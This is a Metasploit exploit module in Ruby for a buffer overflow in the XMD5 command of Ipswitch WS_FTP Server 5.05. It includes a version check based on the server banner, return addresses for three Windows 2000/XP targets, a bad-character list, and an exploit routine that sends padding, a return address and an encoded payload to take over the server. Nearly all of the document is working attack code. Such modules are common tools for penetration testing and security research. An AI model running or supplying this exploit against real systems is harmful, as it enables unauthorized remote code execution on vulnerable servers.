Ipswitch WS_FTP Server 5.05 – XMD5 Overflow (Metasploit)
## # $Id: wsftp_server_505_xmd5.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow', 'Description' => %q{ This module exploits a buffer overflow in the XMD5 verb in IPSWITCH WS_FTP Server 5.05. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2006-4847' ], [ 'OSVDB', '28939' ], [ 'BID', '20076' ], ], 'Privileged' => false, 'Payload' => { 'Space' => 300, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ], [ 'Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ], [ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ], ], 'DisclosureDate' => 'Sep 14 2006', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /WS_FTP Server 5.0.5/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login print_status("Trying target #{target.name}...") sploit = rand_text_alphanumeric(676, payload_badchars) sploit << [target.ret].pack('V') + payload.encoded send_cmd( ['XMD5', sploit] , false) handler disconnect end end |